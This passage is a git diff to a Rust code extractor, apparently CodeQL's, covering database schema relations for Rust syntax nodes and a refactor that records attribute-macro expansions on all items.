+type_param_names( + int id: @type_param ref, + int name: @name ref +); + +#keyset[id] +type_param_type_bound_lists( + int id: @type_param ref, + int type_bound_list: @type_bound_list ref +); + +underscore_exprs( + unique int id: @underscore_expr +); + +#keyset[id, index] +underscore_expr_attrs( + int id: @underscore_expr ref, + int index: int ref, + int attr: @attr ref +); + +variants( + unique int id: @variant +); + +#keyset[id, index] +variant_attrs( + int id: @variant ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +variant_discriminants( + int id: @variant ref, + int discriminant: @expr ref +); + +#keyset[id] +variant_field_lists( + int id: @variant ref, + int field_list: @field_list ref +); + +#keyset[id] +variant_names( + int id: @variant ref, + int name: @name ref +); + +#keyset[id] +variant_visibilities( + int id: @variant ref, + int visibility: @visibility ref +); + +wildcard_pats( + unique int id: @wildcard_pat +); + +yeet_exprs( + unique int id: @yeet_expr +); + +#keyset[id, index] +yeet_expr_attrs( + int id: @yeet_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yeet_expr_exprs( + int id: @yeet_expr ref, + int expr: @expr ref +); + +yield_exprs( + unique int id: @yield_expr +); + +#keyset[id, index] +yield_expr_attrs( + int id: @yield_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yield_expr_exprs( + int id: @yield_expr ref, + int expr: @expr ref +); + +block_exprs( + unique int id: @block_expr +); + +#keyset[id, index] +block_expr_attrs( + int id: @block_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +block_expr_is_async( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_const( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_gen( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_move( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_try( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_unsafe( + int id: @block_expr ref +); + +#keyset[id] +block_expr_stmt_lists( + int id: @block_expr ref, + int stmt_list: @stmt_list ref +); + +call_exprs( + unique int id: @call_expr +); + +#keyset[id] +call_expr_functions( + int id: @call_expr ref, + int function: @expr ref +); + +consts( + unique int id: @const +); + +#keyset[id, index] +const_attrs( + int id: @const ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_bodies( + int id: @const ref, + int body: @expr ref +); + +#keyset[id] +const_is_const( + int id: @const ref +); + +#keyset[id] +const_is_default( + int id: @const ref +); + +#keyset[id] +const_names( + int id: @const ref, + int name: @name ref +); + +#keyset[id] +const_type_reprs( + int id: @const ref, + int type_repr: @type_repr ref +); + +#keyset[id] +const_visibilities( + int id: @const ref, + int visibility: @visibility ref +); + +enums( + unique int id: @enum +); + +#keyset[id, index] +enum_attrs( + int id: @enum ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +enum_generic_param_lists( + int id: @enum ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +enum_names( + int id: @enum ref, + int name: @name ref +); + +#keyset[id] +enum_variant_lists( + int id: @enum ref, + int variant_list: @variant_list ref +); + +#keyset[id] +enum_visibilities( + int id: @enum ref, + int visibility: @visibility ref +); + +#keyset[id] +enum_where_clauses( + int id: @enum ref, + int where_clause: @where_clause ref +); + +extern_blocks( + unique int id: @extern_block +); + +#keyset[id] +extern_block_abis( + int id: @extern_block ref, + int abi: @abi ref +); + +#keyset[id, index] +extern_block_attrs( + int id: @extern_block ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_block_extern_item_lists( + int id: @extern_block ref, + int extern_item_list: @extern_item_list ref +); + +#keyset[id] +extern_block_is_unsafe( + int id: @extern_block ref +); + +extern_crates( + unique int id: @extern_crate +); + +#keyset[id, index] +extern_crate_attrs( + int id: @extern_crate ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_crate_identifiers( + int id: @extern_crate ref, + int identifier: @name_ref ref +); + +#keyset[id] +extern_crate_renames( + int id: @extern_crate ref, + int rename: @rename ref +); + +#keyset[id] +extern_crate_visibilities( + int id: @extern_crate ref, + int visibility: @visibility ref +); + +functions( + unique int id: @function +); + +#keyset[id] +function_abis( + int id: @function ref, + int abi: @abi ref +); + +#keyset[id] +function_bodies( + int id: @function ref, + int body: @block_expr ref +); + +#keyset[id] +function_generic_param_lists( + int id: @function ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +function_is_async( + int id: @function ref +); + +#keyset[id] +function_is_const( + int id: @function ref +); + +#keyset[id] +function_is_default( + int id: @function ref +); + +#keyset[id] +function_is_gen( + int id: @function ref +); + +#keyset[id] +function_is_unsafe( + int id: @function ref +); + +#keyset[id] +function_names( + int id: @function ref, + int name: @name ref +); + +#keyset[id] +function_ret_types( + int id: @function ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +function_visibilities( + int id: @function ref, + int visibility: @visibility ref +); + +#keyset[id] +function_where_clauses( + int id: @function ref, + int where_clause: @where_clause ref +); + +impls( + unique int id: @impl +); + +#keyset[id] +impl_assoc_item_lists( + int id: @impl ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +impl_attrs( + int id: @impl ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +impl_generic_param_lists( + int id: @impl ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +impl_is_const( + int id: @impl ref +); + +#keyset[id] +impl_is_default( + int id: @impl ref +); + +#keyset[id] +impl_is_unsafe( + int id: @impl ref +); + +#keyset[id] +impl_self_ties( + int id: @impl ref, + int self_ty: @type_repr ref +); + +#keyset[id] +impl_traits( + int id: @impl ref, + int trait: @type_repr ref +); + +#keyset[id] +impl_visibilities( + int id: @impl ref, + int visibility: @visibility ref +); + +#keyset[id] +impl_where_clauses( + int id: @impl ref, + int where_clause: @where_clause ref +); + +@looping_expr = + @for_expr +| @loop_expr +| @while_expr +; + +#keyset[id] +looping_expr_loop_bodies( + int id: @looping_expr ref, + int loop_body: @block_expr ref +); + +macro_calls( + unique int id: @macro_call +); + +#keyset[id, index] +macro_call_attrs( + int id: @macro_call ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_call_paths( + int id: @macro_call ref, + int path: @path ref +); + +#keyset[id] +macro_call_token_trees( + int id: @macro_call ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_call_expandeds( + int id: @macro_call ref, + int expanded: @ast_node ref +); + +macro_defs( + unique int id: @macro_def +); + +#keyset[id] +macro_def_args( + int id: @macro_def ref, + int args: @token_tree ref +); + +#keyset[id, index] +macro_def_attrs( + int id: @macro_def ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_def_bodies( + int id: @macro_def ref, + int body: @token_tree ref +); + +#keyset[id] +macro_def_names( + int id: @macro_def ref, + int name: @name ref +); + +#keyset[id] +macro_def_visibilities( + int id: @macro_def ref, + int visibility: @visibility ref +); + +macro_rules( + unique int id: @macro_rules +); + +#keyset[id, index] +macro_rules_attrs( + int id: @macro_rules ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_rules_names( + int id: @macro_rules ref, + int name: @name ref +); + +#keyset[id] +macro_rules_token_trees( + int id: @macro_rules ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_rules_visibilities( + int id: @macro_rules ref, + int visibility: @visibility ref +); + +method_call_exprs( + unique int id: @method_call_expr +); + +#keyset[id] +method_call_expr_generic_arg_lists( + int id: @method_call_expr ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +method_call_expr_identifiers( + int id: @method_call_expr ref, + int identifier: @name_ref ref +); + +#keyset[id] +method_call_expr_receivers( + int id: @method_call_expr ref, + int receiver: @expr ref +); + +modules( + unique int id: @module +); + +#keyset[id, index] +module_attrs( + int id: @module ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +module_item_lists( + int id: @module ref, + int item_list: @item_list ref +); + +#keyset[id] +module_names( + int id: @module ref, + int name: @name ref +); + +#keyset[id] +module_visibilities( + int id: @module ref, + int visibility: @visibility ref +); + +path_exprs( + unique int id: @path_expr +); + +#keyset[id, index] +path_expr_attrs( + int id: @path_expr ref, + int index: int ref, + int attr: @attr ref +); + +path_pats( + unique int id: @path_pat +); + +statics( + unique int id: @static +); + +#keyset[id, index] +static_attrs( + int id: @static ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +static_bodies( + int id: @static ref, + int body: @expr ref +); + +#keyset[id] +static_is_mut( + int id: @static ref +); + +#keyset[id] +static_is_static( + int id: @static ref +); + +#keyset[id] +static_is_unsafe( + int id: @static ref +); + +#keyset[id] +static_names( + int id: @static ref, + int name: @name ref +); + +#keyset[id] +static_type_reprs( + int id: @static ref, + int type_repr: @type_repr ref +); + +#keyset[id] +static_visibilities( + int id: @static ref, + int visibility: @visibility ref +); + +structs( + unique int id: @struct +); + +#keyset[id, index] +struct_attrs( + int id: @struct ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_lists_( + int id: @struct ref, + int field_list: @field_list ref +); + +#keyset[id] +struct_generic_param_lists( + int id: @struct ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +struct_names( + int id: @struct ref, + int name: @name ref +); + +#keyset[id] +struct_visibilities( + int id: @struct ref, + int visibility: @visibility ref +); + +#keyset[id] +struct_where_clauses( + int id: @struct ref, + int where_clause: @where_clause ref +); + +struct_exprs( + unique int id: @struct_expr +); + +#keyset[id] +struct_expr_struct_expr_field_lists( + int id: @struct_expr ref, + int struct_expr_field_list: @struct_expr_field_list ref +); + +struct_pats( + unique int id: @struct_pat +); + +#keyset[id] +struct_pat_struct_pat_field_lists( + int id: @struct_pat ref, + int struct_pat_field_list: @struct_pat_field_list ref +); + +traits( + unique int id: @trait +); + +#keyset[id] +trait_assoc_item_lists( + int id: @trait ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +trait_attrs( + int id: @trait ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_generic_param_lists( + int id: @trait ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_is_auto( + int id: @trait ref +); + +#keyset[id] +trait_is_unsafe( + int id: @trait ref +); + +#keyset[id] +trait_names( + int id: @trait ref, + int name: @name ref +); + +#keyset[id] +trait_type_bound_lists( + int id: @trait ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_visibilities( + int id: @trait ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_where_clauses( + int id: @trait ref, + int where_clause: @where_clause ref +); + +trait_aliases( + unique int id: @trait_alias +); + +#keyset[id, index] +trait_alias_attrs( + int id: @trait_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_alias_generic_param_lists( + int id: @trait_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_alias_names( + int id: @trait_alias ref, + int name: @name ref +); + +#keyset[id] +trait_alias_type_bound_lists( + int id: @trait_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_alias_visibilities( + int id: @trait_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_alias_where_clauses( + int id: @trait_alias ref, + int where_clause: @where_clause ref +); + +tuple_struct_pats( + unique int id: @tuple_struct_pat +); + +#keyset[id, index] +tuple_struct_pat_fields( + int id: @tuple_struct_pat ref, + int index: int ref, + int field: @pat ref +); + +type_aliases( + unique int id: @type_alias +); + +#keyset[id, index] +type_alias_attrs( + int id: @type_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_alias_generic_param_lists( + int id: @type_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +type_alias_is_default( + int id: @type_alias ref +); + +#keyset[id] +type_alias_names( + int id: @type_alias ref, + int name: @name ref +); + +#keyset[id] +type_alias_type_reprs( + int id: @type_alias ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_alias_type_bound_lists( + int id: @type_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +type_alias_visibilities( + int id: @type_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +type_alias_where_clauses( + int id: @type_alias ref, + int where_clause: @where_clause ref +); + +unions( + unique int id: @union +); + +#keyset[id, index] +union_attrs( + int id: @union ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +union_generic_param_lists( + int id: @union ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +union_names( + int id: @union ref, + int name: @name ref +); + +#keyset[id] +union_struct_field_lists( + int id: @union ref, + int struct_field_list: @struct_field_list ref +); + +#keyset[id] +union_visibilities( + int id: @union ref, + int visibility: @visibility ref +); + +#keyset[id] +union_where_clauses( + int id: @union ref, + int where_clause: @where_clause ref +); + +uses( + unique int id: @use +); + +#keyset[id, index] +use_attrs( + int id: @use ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +use_use_trees( + int id: @use ref, + int use_tree: @use_tree ref +); + +#keyset[id] +use_visibilities( + int id: @use ref, + int visibility: @visibility ref +); + +for_exprs( + unique int id: @for_expr +); + +#keyset[id, index] +for_expr_attrs( + int id: @for_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +for_expr_iterables( + int id: @for_expr ref, + int iterable: @expr ref +); + +#keyset[id] +for_expr_pats( + int id: @for_expr ref, + int pat: @pat ref +); + +loop_exprs( + unique int id: @loop_expr +); + +#keyset[id, index] +loop_expr_attrs( + int id: @loop_expr ref, + int index: int ref, + int attr: @attr ref +); + +while_exprs( + unique int id: @while_expr +); + +#keyset[id, index] +while_expr_attrs( + int id: @while_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +while_expr_conditions( + int id: @while_expr ref, + int condition: @expr ref +); diff --git a/rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/upgrade.properties b/rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/upgrade.properties new file mode 100644 index 000000000000..aa90ec62fc39 --- /dev/null +++ b/rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/upgrade.properties @@ -0,0 +1,4 @@ +description: Move `expanded` back from all `@item`s to `@macro_call`s only +compatibility: backwards +item_expandeds.rel: delete +macro_call_expandeds.rel: run downgrade.ql new_macro_call_expandeds diff --git a/rust/extractor/src/generated/.generated.list b/rust/extractor/src/generated/.generated.list index 82b6665615b5..4888deae33cb 100644 --- a/rust/extractor/src/generated/.generated.list +++ b/rust/extractor/src/generated/.generated.list @@ -1,2 +1,2 @@ mod.rs 4bcb9def847469aae9d8649461546b7c21ec97cf6e63d3cf394e339915ce65d7 4bcb9def847469aae9d8649461546b7c21ec97cf6e63d3cf394e339915ce65d7 -top.rs 060225ccbae440eef117e2ef0a82f3deba29e6ba2d35f00281f9c0e6a945e692 060225ccbae440eef117e2ef0a82f3deba29e6ba2d35f00281f9c0e6a945e692 +top.rs af7f3cf5d0941e7dffd6fa4ce75ac432f433a5367a408fb944176dc1a932883b af7f3cf5d0941e7dffd6fa4ce75ac432f433a5367a408fb944176dc1a932883b diff --git a/rust/extractor/src/generated/top.rs b/rust/extractor/src/generated/top.rs index caeeb7552a7d..d1a7068848f6 100644 --- a/rust/extractor/src/generated/top.rs +++ b/rust/extractor/src/generated/top.rs @@ -5818,6 +5818,12 @@ pub struct Item { _unused: () } +impl Item { + pub fn emit_expanded(id: trap::Label, value: trap::Label, out: &mut trap::Writer) { + out.add_tuple("item_expandeds", vec![id.into(), value.into()]); + } +} + impl trap::TrapClass for Item { fn class_name() -> &'static str { "Item" } } @@ -9765,12 +9771,6 @@ impl trap::TrapEntry for MacroCall { } } -impl MacroCall { - pub fn emit_expanded(id: trap::Label, value: trap::Label, out: &mut trap::Writer) { - out.add_tuple("macro_call_expandeds", vec![id.into(), value.into()]); - } -} - impl trap::TrapClass for MacroCall { fn class_name() -> &'static str { "MacroCall" } } diff --git a/rust/extractor/src/main.rs b/rust/extractor/src/main.rs index 0ec1769f1d17..2e90d943c744 100644 --- a/rust/extractor/src/main.rs +++ b/rust/extractor/src/main.rs @@ -89,7 +89,7 @@ impl<'a> Extractor<'a> { no_location, ); } - translator.emit_source_file(ast); + translator.emit_source_file(&ast); translator.trap.commit().unwrap_or_else(|err| { error!( "Failed to write trap file for: {}: {}", diff --git a/rust/extractor/src/translate/base.rs b/rust/extractor/src/translate/base.rs index 584d1d0be5cd..a8e8bc0c890c 100644 --- a/rust/extractor/src/translate/base.rs +++ b/rust/extractor/src/translate/base.rs @@ -11,7 +11,7 @@ use ra_ap_hir::{ }; use ra_ap_hir_def::ModuleId; use ra_ap_hir_def::type_ref::Mutability; -use ra_ap_hir_expand::ExpandTo; +use ra_ap_hir_expand::{ExpandResult, ExpandTo}; use ra_ap_ide_db::RootDatabase; use ra_ap_ide_db::line_index::{LineCol, LineIndex}; use ra_ap_parser::SyntaxKind; @@ -25,50 +25,53 @@ use ra_ap_syntax::{ #[macro_export] macro_rules! emit_detached { (MacroCall, $self:ident, $node:ident, $label:ident) => { - $self.extract_macro_call_expanded(&$node, $label); + $self.extract_macro_call_expanded($node, $label); }; (Function, $self:ident, $node:ident, $label:ident) => { - $self.extract_canonical_origin(&$node, $label.into()); + $self.extract_canonical_origin($node, $label.into()); }; (Trait, $self:ident, $node:ident, $label:ident) => { - $self.extract_canonical_origin(&$node, $label.into()); + $self.extract_canonical_origin($node, $label.into()); }; (Struct, $self:ident, $node:ident, $label:ident) => { - $self.extract_canonical_origin(&$node, $label.into()); + $self.extract_canonical_origin($node, $label.into()); }; (Enum, $self:ident, $node:ident, $label:ident) => { - $self.extract_canonical_origin(&$node, $label.into()); + $self.extract_canonical_origin($node, $label.into()); }; (Union, $self:ident, $node:ident, $label:ident) => { - $self.extract_canonical_origin(&$node, $label.into()); + $self.extract_canonical_origin($node, $label.into()); }; (Module, $self:ident, $node:ident, $label:ident) => { - $self.extract_canonical_origin(&$node, $label.into()); + $self.extract_canonical_origin($node, $label.into()); }; (Variant, $self:ident, $node:ident, $label:ident) => { - $self.extract_canonical_origin_of_enum_variant(&$node, $label); + $self.extract_canonical_origin_of_enum_variant($node, $label); + }; + (Item, $self:ident, $node:ident, $label:ident) => { + $self.emit_item_expansion($node, $label); }; // TODO canonical origin of other items (PathExpr, $self:ident, $node:ident, $label:ident) => { - $self.extract_path_canonical_destination(&$node, $label.into()); + $self.extract_path_canonical_destination($node, $label.into()); }; (StructExpr, $self:ident, $node:ident, $label:ident) => { - $self.extract_path_canonical_destination(&$node, $label.into()); + $self.extract_path_canonical_destination($node, $label.into()); }; (PathPat, $self:ident, $node:ident, $label:ident) => { - $self.extract_path_canonical_destination(&$node, $label.into()); + $self.extract_path_canonical_destination($node, $label.into()); }; (StructPat, $self:ident, $node:ident, $label:ident) => { - $self.extract_path_canonical_destination(&$node, $label.into()); + $self.extract_path_canonical_destination($node, $label.into()); }; (TupleStructPat, $self:ident, $node:ident, $label:ident) => { - $self.extract_path_canonical_destination(&$node, $label.into()); + $self.extract_path_canonical_destination($node, $label.into()); }; (MethodCallExpr, $self:ident, $node:ident, $label:ident) => { - $self.extract_method_canonical_destination(&$node, $label); + $self.extract_method_canonical_destination($node, $label); }; (PathSegment, $self:ident, $node:ident, $label:ident) => { - $self.extract_types_from_path_segment(&$node, $label.into()); + $self.extract_types_from_path_segment($node, $label.into()); }; ($($_:tt)*) => {}; } @@ -252,7 +255,11 @@ impl<'a> Translator<'a> { } } } - fn emit_macro_expansion_parse_errors(&mut self, mcall: &ast::MacroCall, expanded: &SyntaxNode) { + fn emit_macro_expansion_parse_errors( + &mut self, + node: &impl ast::AstNode, + expanded: &SyntaxNode, + ) { let semantics = self.semantics.as_ref().unwrap(); if let Some(value) = semantics .hir_file_for(expanded) @@ -266,7 +273,7 @@ impl<'a> Translator<'a> { if let Some(err) = &value.err { let error = err.render_to_string(semantics.db); - if err.span().anchor.file_id == semantics.hir_file_for(mcall.syntax()) { + if err.span().anchor.file_id == semantics.hir_file_for(node.syntax()) { let location = err.span().range + semantics .db @@ -274,11 +281,11 @@ impl<'a> Translator<'a> { .get_erased(err.span().anchor.ast_id) .text_range() .start(); - self.emit_parse_error(mcall, &SyntaxError::new(error.message, location)); + self.emit_parse_error(node, &SyntaxError::new(error.message, location)); }; } for err in value.value.iter() { - self.emit_parse_error(mcall, err); + self.emit_parse_error(node, err); } } } @@ -290,20 +297,20 @@ impl<'a> Translator<'a> { ) -> Option> { match expand_to { ra_ap_hir_expand::ExpandTo::Statements => ast::MacroStmts::cast(expanded) - .and_then(|x| self.emit_macro_stmts(x)) + .and_then(|x| self.emit_macro_stmts(&x)) .map(Into::into), ra_ap_hir_expand::ExpandTo::Items => ast::MacroItems::cast(expanded) - .and_then(|x| self.emit_macro_items(x)) + .and_then(|x| self.emit_macro_items(&x)) .map(Into::into), ra_ap_hir_expand::ExpandTo::Pattern => ast::Pat::cast(expanded) - .and_then(|x| self.emit_pat(x)) + .and_then(|x| self.emit_pat(&x)) .map(Into::into), ra_ap_hir_expand::ExpandTo::Type => ast::Type::cast(expanded) - .and_then(|x| self.emit_type(x)) + .and_then(|x| self.emit_type(&x)) .map(Into::into), ra_ap_hir_expand::ExpandTo::Expr => ast::Expr::cast(expanded) - .and_then(|x| self.emit_expr(x)) + .and_then(|x| self.emit_expr(&x)) .map(Into::into), } } @@ -321,7 +328,7 @@ impl<'a> Translator<'a> { let expand_to = ra_ap_hir_expand::ExpandTo::from_call_site(mcall); let kind = expanded.kind(); if let Some(value) = self.emit_expanded_as(expand_to, expanded) { - generated::MacroCall::emit_expanded(label, value, &mut self.trap.writer); + generated::Item::emit_expanded(label.into(), value, &mut self.trap.writer); } else { let range = self.text_range_for_node(mcall); self.emit_parse_error(mcall, &SyntaxError::new( @@ -626,17 +633,31 @@ impl<'a> Translator<'a> { if let Some(t) = type_refs .next() .and_then(ast::Type::cast) - .and_then(|t| self.emit_type(t)) + .and_then(|t| self.emit_type(&t)) { generated::PathSegment::emit_type_repr(label, t, &mut self.trap.writer) } if let Some(t) = type_refs .next() .and_then(ast::PathType::cast) - .and_then(|t| self.emit_path_type(t)) + .and_then(|t| self.emit_path_type(&t)) { generated::PathSegment::emit_trait_type_repr(label, t, &mut self.trap.writer) } } } + + pub(crate) fn emit_item_expansion(&mut self, node: &ast::Item, label: Label) { + (|| { + let semantics = self.semantics?; + let ExpandResult { + value: expanded, .. + } = semantics.expand_attr_macro(node)?; + // TODO emit err? + self.emit_macro_expansion_parse_errors(node, &expanded); + let expanded = self.emit_expanded_as(ExpandTo::Items, expanded)?; + generated::Item::emit_expanded(label, expanded, &mut self.trap.writer); + Some(()) + })(); + } } diff --git a/rust/extractor/src/translate/generated.rs b/rust/extractor/src/translate/generated.rs index 32b9c2367a64..1cc9b80538d7 100644 --- a/rust/extractor/src/translate/generated.rs +++ b/rust/extractor/src/translate/generated.rs @@ -1,7 +1,4 @@ //! Generated by `ast-generator`, do not edit by hand. - -#![cfg_attr(any(), rustfmt::skip)] - use super::base::Translator; use super::mappings::TextValue; use crate::emit_detached; @@ -11,44 +8,59 @@ use ra_ap_syntax::ast::{ HasArgList, HasAttrs, HasGenericArgs, HasGenericParams, HasLoopBody, HasModuleItem, HasName, HasTypeBounds, HasVisibility, RangeItem, }; -use ra_ap_syntax::{ast, AstNode}; - +#[rustfmt::skip] +use ra_ap_syntax::{AstNode, ast}; impl Translator<'_> { - fn emit_else_branch(&mut self, node: ast::ElseBranch) -> Option> { + fn emit_else_branch(&mut self, node: &ast::ElseBranch) -> Option> { match node { ast::ElseBranch::IfExpr(inner) => self.emit_if_expr(inner).map(Into::into), ast::ElseBranch::Block(inner) => self.emit_block_expr(inner).map(Into::into), } } - - pub(crate) fn emit_asm_operand(&mut self, node: ast::AsmOperand) -> Option> { - match node { + pub(crate) fn emit_asm_operand( + &mut self, + node: &ast::AsmOperand, + ) -> Option> { + let label = match node { ast::AsmOperand::AsmConst(inner) => self.emit_asm_const(inner).map(Into::into), ast::AsmOperand::AsmLabel(inner) => self.emit_asm_label(inner).map(Into::into), - ast::AsmOperand::AsmRegOperand(inner) => self.emit_asm_reg_operand(inner).map(Into::into), + ast::AsmOperand::AsmRegOperand(inner) => { + self.emit_asm_reg_operand(inner).map(Into::into) + } ast::AsmOperand::AsmSym(inner) => self.emit_asm_sym(inner).map(Into::into), - } + }?; + emit_detached!(AsmOperand, self, node, label); + Some(label) } - - pub(crate) fn emit_asm_piece(&mut self, node: ast::AsmPiece) -> Option> { - match node { + pub(crate) fn emit_asm_piece( + &mut self, + node: &ast::AsmPiece, + ) -> Option> { + let label = match node { ast::AsmPiece::AsmClobberAbi(inner) => self.emit_asm_clobber_abi(inner).map(Into::into), - ast::AsmPiece::AsmOperandNamed(inner) => self.emit_asm_operand_named(inner).map(Into::into), + ast::AsmPiece::AsmOperandNamed(inner) => { + self.emit_asm_operand_named(inner).map(Into::into) + } ast::AsmPiece::AsmOptions(inner) => self.emit_asm_options(inner).map(Into::into), - } + }?; + emit_detached!(AsmPiece, self, node, label); + Some(label) } - - pub(crate) fn emit_assoc_item(&mut self, node: ast::AssocItem) -> Option> { - match node { + pub(crate) fn emit_assoc_item( + &mut self, + node: &ast::AssocItem, + ) -> Option> { + let label = match node { ast::AssocItem::Const(inner) => self.emit_const(inner).map(Into::into), ast::AssocItem::Fn(inner) => self.emit_fn(inner).map(Into::into), ast::AssocItem::MacroCall(inner) => self.emit_macro_call(inner).map(Into::into), ast::AssocItem::TypeAlias(inner) => self.emit_type_alias(inner).map(Into::into), - } + }?; + emit_detached!(AssocItem, self, node, label); + Some(label) } - - pub(crate) fn emit_expr(&mut self, node: ast::Expr) -> Option> { - match node { + pub(crate) fn emit_expr(&mut self, node: &ast::Expr) -> Option> { + let label = match node { ast::Expr::ArrayExpr(inner) => self.emit_array_expr(inner).map(Into::into), ast::Expr::AsmExpr(inner) => self.emit_asm_expr(inner).map(Into::into), ast::Expr::AwaitExpr(inner) => self.emit_await_expr(inner).map(Into::into), @@ -85,44 +97,67 @@ impl Translator<'_> { ast::Expr::WhileExpr(inner) => self.emit_while_expr(inner).map(Into::into), ast::Expr::YeetExpr(inner) => self.emit_yeet_expr(inner).map(Into::into), ast::Expr::YieldExpr(inner) => self.emit_yield_expr(inner).map(Into::into), - } + }?; + emit_detached!(Expr, self, node, label); + Some(label) } - - pub(crate) fn emit_extern_item(&mut self, node: ast::ExternItem) -> Option> { - match node { + pub(crate) fn emit_extern_item( + &mut self, + node: &ast::ExternItem, + ) -> Option> { + let label = match node { ast::ExternItem::Fn(inner) => self.emit_fn(inner).map(Into::into), ast::ExternItem::MacroCall(inner) => self.emit_macro_call(inner).map(Into::into), ast::ExternItem::Static(inner) => self.emit_static(inner).map(Into::into), ast::ExternItem::TypeAlias(inner) => self.emit_type_alias(inner).map(Into::into), - } - } - - pub(crate) fn emit_field_list(&mut self, node: ast::FieldList) -> Option> { - match node { - ast::FieldList::RecordFieldList(inner) => self.emit_record_field_list(inner).map(Into::into), - ast::FieldList::TupleFieldList(inner) => self.emit_tuple_field_list(inner).map(Into::into), - } - } - - pub(crate) fn emit_generic_arg(&mut self, node: ast::GenericArg) -> Option> { - match node { + }?; + emit_detached!(ExternItem, self, node, label); + Some(label) + } + pub(crate) fn emit_field_list( + &mut self, + node: &ast::FieldList, + ) -> Option> { + let label = match node { + ast::FieldList::RecordFieldList(inner) => { + self.emit_record_field_list(inner).map(Into::into) + } + ast::FieldList::TupleFieldList(inner) => { + self.emit_tuple_field_list(inner).map(Into::into) + } + }?; + emit_detached!(FieldList, self, node, label); + Some(label) + } + pub(crate) fn emit_generic_arg( + &mut self, + node: &ast::GenericArg, + ) -> Option> { + let label = match node { ast::GenericArg::AssocTypeArg(inner) => self.emit_assoc_type_arg(inner).map(Into::into), ast::GenericArg::ConstArg(inner) => self.emit_const_arg(inner).map(Into::into), ast::GenericArg::LifetimeArg(inner) => self.emit_lifetime_arg(inner).map(Into::into), ast::GenericArg::TypeArg(inner) => self.emit_type_arg(inner).map(Into::into), - } + }?; + emit_detached!(GenericArg, self, node, label); + Some(label) } - - pub(crate) fn emit_generic_param(&mut self, node: ast::GenericParam) -> Option> { - match node { + pub(crate) fn emit_generic_param( + &mut self, + node: &ast::GenericParam, + ) -> Option> { + let label = match node { ast::GenericParam::ConstParam(inner) => self.emit_const_param(inner).map(Into::into), - ast::GenericParam::LifetimeParam(inner) => self.emit_lifetime_param(inner).map(Into::into), + ast::GenericParam::LifetimeParam(inner) => { + self.emit_lifetime_param(inner).map(Into::into) + } ast::GenericParam::TypeParam(inner) => self.emit_type_param(inner).map(Into::into), - } + }?; + emit_detached!(GenericParam, self, node, label); + Some(label) } - - pub(crate) fn emit_pat(&mut self, node: ast::Pat) -> Option> { - match node { + pub(crate) fn emit_pat(&mut self, node: &ast::Pat) -> Option> { + let label = match node { ast::Pat::BoxPat(inner) => self.emit_box_pat(inner).map(Into::into), ast::Pat::ConstBlockPat(inner) => self.emit_const_block_pat(inner).map(Into::into), ast::Pat::IdentPat(inner) => self.emit_ident_pat(inner).map(Into::into), @@ -139,19 +174,21 @@ impl Translator<'_> { ast::Pat::TuplePat(inner) => self.emit_tuple_pat(inner).map(Into::into), ast::Pat::TupleStructPat(inner) => self.emit_tuple_struct_pat(inner).map(Into::into), ast::Pat::WildcardPat(inner) => self.emit_wildcard_pat(inner).map(Into::into), - } + }?; + emit_detached!(Pat, self, node, label); + Some(label) } - - pub(crate) fn emit_stmt(&mut self, node: ast::Stmt) -> Option> { - match node { + pub(crate) fn emit_stmt(&mut self, node: &ast::Stmt) -> Option> { + let label = match node { ast::Stmt::ExprStmt(inner) => self.emit_expr_stmt(inner).map(Into::into), ast::Stmt::Item(inner) => self.emit_item(inner).map(Into::into), ast::Stmt::LetStmt(inner) => self.emit_let_stmt(inner).map(Into::into), - } + }?; + emit_detached!(Stmt, self, node, label); + Some(label) } - - 